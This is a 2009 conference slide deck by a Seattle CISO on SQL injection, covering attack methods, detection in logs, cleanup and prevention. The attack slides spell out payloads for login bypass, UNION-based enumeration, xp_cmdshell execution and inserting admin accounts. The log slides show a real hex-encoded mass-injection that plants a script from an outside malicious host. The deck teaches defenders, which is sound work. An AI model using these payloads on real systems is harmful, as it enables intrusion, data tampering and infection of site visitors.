

SQL INJECTION: Identification, Cleanup, Avoidance

Presented To



26 March 2009

**Michael Hamilton, CISO
City of Seattle**



ROADMAP FOR THIS PRESENTATION

- Definition – what it is, what's the goal, and why is it so pervasive
- Taxonomy – the various methods used
- Detection – how attacks show up in database and web logs
- Recovery – cleaning up successful injections
- Prevention – server, database and coding



CREDITS

Content poached from

- www.securiteam.com
- Google images
- UC Santa Cruz CS183 course materials
- CoS web server logs
- SANS
- The Litchfield brothers
- The OWASP project



DEFINITIONS

- SQL Injection – SQL commands added to web application form input
- Gain access to resources or add data to db
- Aided by verbose error messages

NOTE

- Examples are as generic as possible



HISTORY

- Originally used to recover database contents: Guess Jeans
- Also to change field data like prices
- Now primarily used for injecting references to attack scripts into database tables



TODAY

Website-infecting SQL injection attacks hit 450,000 a day

Cybercriminals are spreading invisible infections far and wide across the Internet by hammering hundreds of thousands of websites each day with so-called SQL injection attacks. The trend started last summer and has continued to accelerate. IBM Internet Security Systems says it identified 50% more infected Web pages in the last three months of 2008 than it did in all of 2007.

http://www.usatoday.com/money/industries/technology/2009-03-16-sql-attacks-cyber-security_N.htm

3/17/2009



AUTOMATION TOOLS

The image displays two automation tools: Absinthe and WITool.

Absinthe (left window) is a web proxy tool. The main window shows a URL `https://www.[-a95]` and a form for a MySQL injection. The form includes fields for Type (Integer), DB (Mysql), and Keyword (2005-10-06). The File Path is `/usr/local/apache/conf/httpd.conf`. The tool is currently stopped at Version 1.2.0.558.

WITool (right window) is a web injection tool. The terminal window shows the following output:

```
root@nightblade ~# vi sqlninja.conf
root@nightblade ~# ./sqlninja
Sqlninja rel. 0.1.1
Copyright (C) 2006 icesurfer <r00t@northernfortress.net>
Usage: ./sqlninja
-m <mode> ; Required. Available modes are:
  f/fingerprint - fingerprint user, xp_cmdshell and more
  b/bruteforce - bruteforce sa account
  e/escalation - add user to sysadmin server role
  x/resurrectxp - try to recreate xp_cmdshell
  u/upload - upload a .scr file
  s/dirshell - direct shell
  k/backscan - look for an open outbound port
  r/revshell - reverse shell
  d/dnstunnel - attempt a dns tunneled shell
-f <file> ; configuration file (default: sqlninja.conf)
-p <password> ; sa password
-w <wordlist> ; wordlist to use in brute mode
-u <user> ; user to add to sysadmin group in escalation mode
-v ; verbose output
...see README for details

root@nightblade ~# ./sqlninja
```

The terminal output shows the tool is ready to fingerprint the target.

TAXONOMY

- 2 5176: HTTP: SQL Injection Evasion (String Functions) Major 1431
- 3 3630: HTTP: SQL Injection (Boolean Identity) Major 1218
- 4 5719: HTTP: SQL Injection (CAST) Major 532
- 5 6454: HTTP: SQL Injection Tool with Asprox Botnet Major 210
- 6 3570: HTTP: SQL Server Error Response Low 144
- 8 6639: HTTP: SQL Injection Asprox Botnet Variant Major 66
- 16 6226: HTTP: SQL Injection Tool with Asprox Botnet Major 12
- 17 3798: HTTP: SQL Injection (Boolean Identity) Major 11
- 20 6115: HTTP: SQL Injection (CONVERT) Major 9
- 21 5674: HTTP: SQL Injection (Boolean Identity) Major 8
- 22 5670: HTTP: SQL Injection (SELECT) Major 7
- 23 6230: HTTP: SQL Injection Tool with Asprox Botnet Major 6
- 25 3809: HTTP: SQL Injection Evasion SQL Comment Terminator Major 4
- 27 3802: HTTP: SQL Injection (DROP/CREATE) Major 3
- 30 5673: HTTP: SQL Injection (Boolean Identity) Major 2
- 31 3807: HTTP: SQL Injection Evasion Inline SQL Comment Major 2
- 33 6116: HTTP: SQL Injection (CAST) Major 1



WHAT MAKES THIS WORK?

Many web applications take user input from a form. Often, this user input is used literally in the construction of a SQL query submitted to a database, e.g.

```
SELECT productdata FROM table WHERE productname='user input product name'
```

→ A SQL injection attack places SQL statements in the user input ←

If pages use a POST command to send parameters to another ASP page, parameters may not appear in the URL; look for "FORM" tag in the HTML code. You may find something like this:

```
<FORM action=Search/search.asp method=post>  
<input type=hidden name=A value=C>  
</FORM>
```



CREDENTIAL BYPASS

Try the single quote trick: input something like: hi' or 1=1- into login, or password, or even in the URL. Example:

- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--

If exploiting a hidden field, download the source HTML from the site, save it, modify the URL and hidden field accordingly. Example:

```
<FORM action=http://duck/Search/search.asp method=post>  
<input type=hidden name=A value="hi' or 1=1--">  
</FORM>
```

Presto! Access without any login name or password!

Might need to use ' or 1=1--; " or 1=1--; or 1=1--; ' or 'a'='a'; etc.



PULLING DB INFORMATION

Take an asp page that will link you to another page with the following URL: <http://blurfl/index.asp?category=food>

```
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat &
""
set rs=conn.execute(sqlstr)
```

The SQL statement will become:
SELECT * FROM product WHERE PCategory='food'

Now, assume that we change the URL into something like this:
<http://blurfl/index.asp?category=food' or 1=1-->

Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in the SQL query, we will have:



```
SELECT * FROM product WHERE PCategory='food' or 1=1--'
```

COMMAND EXECUTION

The default installation of MS SQL Server runs as SYSTEM, which has privileged access in Windows

Stored procedures like master..xp_cmdshell will perform remote execution:

```
'; exec master..xp_cmdshell 'ping ip_address_of_your_host'--
```

Check for ICMP packets from the server using a sniffer to gauge success

If you do not get any ping request from the server and get a permission error, it is possible that the administrator has limited Web User access to these stored procedures.



USING ODBC ERROR MESSAGES

Start with `http://blurfl/index.asp?id=10` and UNION the integer '10' with another string from the database:

```
http://blurfl/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM  
INFORMATION_SCHEMA.TABLES—
```

INFORMATION_SCHEMA.TABLES contains information of all tables in the server; TABLE_NAME field contains the name of each table in the database and always exists.

Our query: ***SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES-***

When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value '**table1**' to a column of data type int.

/index.asp, line 5



DATA INSERTION

When we successfully gather all column names of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for "neo":

```
http://duck/index.asp?id=10; UPDATE 'admin_login' SET  
'password' = 'newpas5' WHERE login_name='neo'--
```

To INSERT a new record into the database:

```
http://duck/index.asp?id=10; INSERT INTO 'admin_login'  
( 'login_id', 'login_name', 'password', 'details') VALUES  
(666,'neo2','newpas5','NA')--
```

We can now login as "neo2" with the password of "newpas5".



FILTER EVASION

2008-06-10 23:31:48 192.168.252.11 POST /TechMap/search/tblTechCenterInfolist.asp
cmd=reset';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200
450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076
006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400
610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052
002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065
002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C007300790
0730063006F006C0075006D006E00730020006200200077006800650072006500200061002E0069006400
3D0062002E0069006400200061006E006400200061002E00780074007900700065003D002700750027002
00061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E
00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D00320
03300310020006F007200200062002E00780074007900700065003D00310036003700290020004F0050004
5004E0020005400610062006C0065005F0043007500720073006F007200200046004500540043004800200
04E004500580054002000460052004F004D00200020005400610062006C0065005F004300750072007300
6F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004
000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E0
0200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005
D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D0028006
3006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B
0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D006800740
0740070003A002F002F007700770077002E00660065006E0067006E0069006D0061002E0063006E002F0
06B002E006A0073003E003C002F007300630072006900700074003E002700270027002900460045005400
4300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007
500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043
004C004F005300450020005400610062006C0065005F0043007500720073006F007200200044004500410
04C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20
AS%20NVARCHAR(4000));EXEC(@S);-- 80 - 60.169.3.16 Mozilla/3.0+(compatible;+Indy+Library) - 200 0
240147 2389 27000



DECODED LOG ENTRY

```
2008-06-08 05:20:06 192.168.252.11 POST
/TechMap/Mapping/tblTechCenterInfoview.asp key=119';DECLARE @S
NVARCHAR(4000);SET @S=CAST (DECLARE @T varchar(255)'@C
varchar(255) DECLARE Table_Cursor CURSOR FOR select
a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and
a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C
WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+] set
['+@C+]=rtrim(convert(varchar['+@C+]))+'<script
src=http://www.killpp.cn/k.js></script>')FETCH NEXT FROM
Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE
Table_Cursor AS NVARCHAR(4000));EXEC(@S);--
|46|80040e14|Unclosed_quotation_mark_before_the_character_string_';D
ECLARE_@S_NVARCHAR(4000);SET_@S=CAST(DECLARE @T
varchar(255)'@C varchar(255) DECLARE Table_Cursor CURSOR FOR
sele...80 - 221.130.187.91 Mozilla/3.0+(compatible;+Indy+Library) - 500 0
15244 2381 281
```



DETECTION

- Web server logs
 - Will have entries with attack commands – possibly hex-encoded
- Application logs
 - If logged separately, will have errors generated from unsuccessful attempts
- Database logs
 - SQL script – periodically check for signs of compromise
- IDS/IPS
 - Filters, or signatures to detect attacks and block



CLEANUP

- Data loss – you're on your own
 - If any PII or cardholder data involved, there will be breach reporting and PCI compliance problems
- Data revision – go to backup
- Injected attack script references – remove by hand/script
- The bigger question though....

How many of our customers/constituents did our web site attack today?



AVOIDANCE – STRING ESCAPING

- Use provided functions for escaping strings; many attacks can be stopped by simply using the SQL string escaping mechanism

‘ → \' and “ → \”

- `mysql_real_escape_string()` is an example function for this
- Can also use `stripslashes()` or other stored procedures to sanitize input; .NET framework also has procedures
- Makes it difficult to inject `\n` or `\r`



SERVER-SIDE INPUT VALIDATION

- Check syntax of input for validity
 - Many classes of input have fixed languages
 - Email addresses, dates, part numbers, etc.
 - Verify that the input is a valid string in the language
 - If you can exclude quotes and semicolons that's good
- Have length limits on input
 - Many SQL injection attacks depend on entering long strings
- Scan for undesirable word combinations indicating SQL statements:
 - INSERT, DROP, etc.
 - Check against SQL syntax to see if they are valid user input



MORE

- Limit database permissions and segregate users
 - Database read only for unprivileged users
 - Never connect as a database administrator in your application
- Configure database error reporting
 - Default config often gives away too much information
 - Error information should not be disclosed to users
- Use bound variables
 - Some libraries allow you to bind inputs to variables inside a SQL statement
 - Allows limited type checking of parameters
 - Most useful for non-string parameters



LASTLY...

- Never release an application into production setting where it faces an threat population *without the application being tested for security*:
 - Cross-site scripting
 - Injection flaws
 - Malicious file execution
 - Insecure direct object reference
 - Cross-site request forgery
 - Information leakage and improper error handling
 - Broken authentication and session management
 - Insecure cryptographic storage
 - Insecure communications
 - Failure to restrict URL access



FURTHER RESOURCES

Tutorial on avoiding injectable code in Oracle environments:

<http://st-curriculum.oracle.com/tutorial/SQLInjection/index.htm>

Scrawlr - free tool to scan sites for injection vulnerabilities

<https://download.spidynamics.com/products/scrawlr/>

Webscarab – crafts custom attacks

http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project

Nikto, Absinthe, ratproxy attack/analysis tools

<http://www.cirt.net/nikto2>

<http://www.0x90.org/releases/absinthe/download.php>

<http://code.google.com/p/ratproxy/downloads/list>



QUESTIONS?

Michael.Hamilton@Seattle.Gov
206.684.7971

